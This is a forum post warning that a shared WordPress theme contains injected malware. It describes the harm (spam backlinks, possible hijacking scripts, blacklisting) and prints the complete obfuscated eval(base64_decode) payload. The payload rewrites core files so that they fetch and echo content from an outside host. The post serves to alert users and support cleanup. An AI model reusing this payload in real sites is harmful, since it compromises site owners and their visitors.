Hi,
basically, within one of the main parts of the theme, some encrypted code has been added - this code fetches more code/content from an other site and places it in the code that your site delivers to the user.
this has many possible impacts...
- right now, I'm seeing links returned, so is scattering backlinks around for someone, adding them to your site (these links are typically low quality sites such as loans/meds/porn etc but can be anything)
- you could also get iframes and javascript - this can then hijack your site functionality, add cpa/locker code, malware, adware, trojans etc
- such content can get you slapped by google or even listed as phishing/malware site
it's a case of running through the code and finding odd/dodgy looking code
this one has this:
Code:
eval(base64_decode("QCRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoIndwLWluY2x1ZGVzL2Z1bmN0aW9ucy5waHAiKTsNCiRjb250ZW50ID0gc3RyX3JlcGxhY2UoJyogVXNlcyB0aGUgIlRoZSBUb3J0b2lzZSBhbmQgdGhlIEhhcmUiIGFsZ29yaXRobSB0byBkZXRlY3QgbG9vcHMuJw0KLCINCiovDQpmdW5jdGlvbiB0aGVtZVJlbmRlcigpIHsNCglldmFsKGJhc2U2NF9kZWNvZGUoJ1pXTm9ieUJBWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSW1oMGRIQTZMeTkzZDNjdVltVjBaV3R6TG1OdmJTOXNhVzVyY3k1d2FIQS9kWEpzUFNJdUpGOVRSVkpXUlZKYklsTkZVbFpGVWw5T1FVMUZJbDBwT3c9PScpKTsNCn0NCi8qDQoiLCRjb250ZW50KTsNCg0KQGZpbGVfcHV0X2NvbnRlbnRzKCJ3cC1pbmNsdWRlcy9mdW5jdGlvbnMucGhwIiwkY29udGVudCk7DQoNCg0KJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygiaW5kZXgucGhwIik7DQppZighc3Ryc3RyKCRjb250ZW50LCJ0aGVtZVJlbmRlciIpKSB7DQoJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgnPz4nDQoJLCINCnRoZW1lUmVuZGVyKCk7DQo/Pg0KCSIsJGNvbnRlbnQpOw0KDQoJZmlsZV9wdXRfY29udGVudHMoImluZGV4LnBocCIsJGNvbnRlbnQpOw0KfQ=="));
which when decoded (many base64 decoders online - just google it) gives more code and more encoded stuff, which when decoded shows the injection/fetcher code as above
I'm not suggesting that Alondra is doing this on purpose as previous shares are always high quality, so maybe just found a bad share source.
I've got the infected shares and will clean them up in the next day or so (very busy workload today and want to check them through 100% to be safe) - then will post the clean shares back
if you see/find any you're unsure of, feel free to drop me a pm to check it
Si